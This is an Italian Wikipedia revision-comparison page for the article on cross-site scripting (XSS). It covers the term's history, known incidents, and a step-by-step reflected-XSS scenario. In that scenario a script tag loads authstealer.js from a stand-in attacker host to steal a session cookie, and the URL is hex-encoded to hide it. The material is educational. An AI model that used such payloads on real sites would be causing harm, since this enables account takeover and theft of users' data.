Cross-site scripting: differenze tra le versioni

Versione delle 16:10, 7 lug 2018

Versione delle 17:24, 17 ago 2018

Riga 1:

Il '''cross-site scripting''' ('''XSS''') è una [[vulnerabilità]] che affligge [[Web dinamico|siti web dinamici]] che impiegano un insufficiente controllo dell'input nei [[form]]. Un XSS permette ada un [[Cracker (informatica)|Crackercracker]] di inserire o eseguire codice lato client al fine di attuare un insieme variegato di attacchi quali, ad esempio:, raccolta, manipolazione e reindirizzamento di informazioni riservate, visualizzazione e modifica di dati presenti sui server, alterazione del comportamento dinamico delle pagine web, ecc. Nell'accezione odierna, la tecnica ricomprende l'utilizzo di qualsiasi linguaggio di scripting lato client tra i quali JavaScript, VBScript, Flash. Il loro effetto può variare da un piccolo fastidio a un significativo rischio per la sicurezza, a seconda della sensibilità dei dati trattati nel sito vulnerabile e dalla natura delle strategie di sicurezza implementate dai proprietari del sito web.

Nell'accezione odierna, la tecnica ricomprende l'utilizzo di qualsiasi linguaggio di scripting lato client tra i quali [[JavaScript]], [[VBScript]], [[Adobe Flash|Flash]]. Il loro effetto può variare da un piccolo fastidio a un significativo rischio per la sicurezza, a seconda della sensibilità dei dati trattati nel sito vulnerabile e dalla natura delle strategie di sicurezza implementate dai proprietari del sito web.

Secondo un rapporto di [[Symantec]] nel [[2007]] l'80% di tutte le violazioni è dovuto ad attacchi '''XSS'''<ref>{{en}} [http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_exec_summary_internet_security_threat_report_xiii_04-2008.en-us.pdf Symantec Internet Security Threat Report: Trends for July-December 2007]</ref>.

Secondo un rapporto di [[Symantec]] nel [[2007]], l'80% di tutte le violazioni è dovuto ad attacchi '''XSS'''<ref>{{en}} [http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_exec_summary_internet_security_threat_report_xiii_04-2008.en-us.pdf Symantec Internet Security Threat Report: Trends for July-December 2007]</ref>.

== Origine e trasformazione del concetto ==

Line 9 ⟶ 11:

Gli attacchi Cross-site scripting usano vulnerabilità note delle applicazioni web, nei loro server o dei plugin su cui si basano. Sfruttando una di queste vulnerabilità, gli aggressori iniettano contenuto malevolo nel contenuto che fornisce il sito compromesso. Quando il contenuto arriva nel [[Browser|web browser]] lato client risulta inviato dalla fonte attendibile, perciò opera sotto le autorizzazioni concesse a quel sistema. Trovando il modo di iniettare script malevoli, l'utente malintenzionato può ottenere privilegi di accesso al contenuto di pagine sensibili, ai cookie di sessione e a una varietà da altre informazioni gestite dal browser per conto dell'utente.

Gli ingegneri della sicurezza di Microsoft hanno introdotto il termine "''cross-site scripting"'' nel gennaio del 2000. L'espressione "''cross-site scripting"'' originariamente si riferiva unicamente ad attacchi basati sull'utilizzo di frammenti di codice [[JavaScript]] inseriti all'interno di chiamate a pagine web dinamiche poste su un web-server (tecnica facente parte dei metodi di [[code injection]]) in modo che il server remoto eseguisse operazioni diverse da quelle previste originariamente dall'applicativo web. Tale definizione, gradualmente, si è estesa comprendendo anche altre modalità di "iniezione di codice" basate non solo su [[JavaScript]] ma anche su [[ActiveX]], [[VBScript]], [[Adobe Flash|Flash]], o anche puro [[HTML]]. Ciò ha generato una certa confusione nella terminologia riferita alla [[sicurezza informatica]]:; il termine, infatti, ricomprende oggi tutto un insieme di tecniche di attacco e non esclusivamente quella basata su manipolazione di codice JavaScript.<ref name="Grossman">{{Cita web|autore = Grossman, Jeremiah|titolo = The origins of Cross-Site Scripting (XSS)|url = http://jeremiahgrossman.blogspot.com/2006/07/origins-of-cross-site-scripting-xss.html |data = 30 luglio 2006|accesso = 15 settembre 2008}}</ref>

Vulnerabilità XSS sono state segnalate e sfruttate dal 1990. Siti noti sono stati compromessi nel passato, inclusi siti di social-network come [[Twitter]]<ref>{{Cita web |url = http://www.theguardian.com/technology/blog/2010/sep/21/twitter-bug-malicious-exploit-xss |titolo = Twitter users including Sarah Brown hit by malicious hacker attack |cognome = Arthur |nome = Charles |sito = the Guardian |data = 21 settembre 2010 |accesso = 21 maggio 2016}}</ref>, [[Facebook]]<ref>{{Cita web |url = http://www.theregister.co.uk/2008/05/23/facebook_xss_flaw/ |titolo = Facebook poked by XSS flaw |cognome = Hacking |accesso = 21 maggio 2016}}</ref>, [[Myspace|MySpace]], [[YouTube]] e [[Orkut]]<ref>{{Cita web |url = http://www.zdnet.com/blog/security/obama-site-hacked-redirected-to-hillary-clinton/1042 |titolo = Obama site hacked; Redirected to Hillary Clinton {{!}} ZDNet |cognome = Dignan |nome = Larry |sito = ZDNet |accesso = 21 maggio 2016}}</ref>. Negli anni successivi, i problemi di cross-site scripting hanno superato quelli di buffer overflows diventando la vulnerabilità di sicurezza più comunemente segnalata<ref>{{Cita web |url = https://cwe.mitre.org/documents/vuln-trends/index.html|titolo=CWE -

Line 49 ⟶ 51:

=== Non-persistent ===

# Alice visita spesso un particolare sito web, che è ospitato da Bob. Il sito web di Bob permette ad Alice di autenticarsi con username e password e di memorizzare dati sensibili (come i dati di fatturazione). Quando accede nel sistema, il browser mantiene un cookie di autenticazione, che si presenta come un insieme di caratteri illeggibili, in modo che entrambi i computer (client e server) si ricordino della sua autenticazione.

# Mallory nota che il sito di Bob contiene una vulnerabilità XSS di tipo ''reflected'':

## Quando si visita la pagina di ricerca, si inserisce un termine nella casella di ricerca e si fa click sul tasto invio, se non ci sono risultati la pagina visualizzerà il termine cercato seguito dalle parole “non trovato”, e l'URL sarà <code><nowiki>http://bobssite.org?q=her</nowiki></code>

## Con una normale ''query'' di ricerca, come la parola “cuccioli”, la pagina visualizzerà semplicemente “cuccioli non trovato” e l'URL è <code><nowiki>http://bobssite.org</nowiki>'''?q=cuccioli'''</code> (questo è un comportamento normale).

## Tuttavia, quando si invia una query anomala di ricerca, come <code><script type='text/javascript'>alert('xss');</script></code>,

### Viene visualizzato un box di avviso che dice “xss”

Line 59 ⟶ 61:

##Crea l'URL <code><nowiki>http://bobssite.org</nowiki>'''?q=cuccioli<script%20src="<nowiki>http://mallorysevilsite.com/authstealer.js</nowiki>"><nowiki></script></nowiki>'''</code> . Sceglie di convertire i caratteri ASCII in esadecimale, ad esempio <code><nowiki>http://bobssite.org</nowiki>'''?q=cuccioli%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E'''</code> in modo che eventuali lettori umani non possano immediatamente decifrare l'URL dannoso.

##Invia una mail ad alcuni ignari membri del sito di Bob, in cui scrive: “Controlla alcuni simpatici cuccioli”

#Alice riceve la mail e, dato che ama i cuccioli, apre il link. Andrà quindi sul sito di Bob per la ricerca,; non trovando nulla visualizzerà “Cuccioli non trovato”, ma lo script di Mallory, authstealer.js, eseguirà, invisibile sullo schermo, scatenando l'attacco XSS.

#Il programma authstealer.js esegue nel browser di Alice come se fosse stato inviato dal sito di Bob. Prende una copia del cookie di autenticazione di Alice e lo invia al server di Mallory, dove Mallory lo recupererà.

#Mallory adesso inserisce il cookie di autenticazione di Alice nel suo browser come se fosse il proprio. Va poi sul sito di Bob, adesso è autenticato come Alice.

#Ora che è riconosciuta dal sito come Alice, Mallory va nella sezione fatturazione del sito e guarda il numero di carta di credito e lo copia. Cambia anche la password in modo che Alice non possa nemmeno più entrare.

#Decide di fare un ulteriore passo avanti e invia un collegamento simile a Bob stesso, guadagnando così i privilegi di amministratore.

Affinché questo attacco non si verifichi oppure per ridurne gli effetti nel casi si verificasse si possono adottare differenti strategie: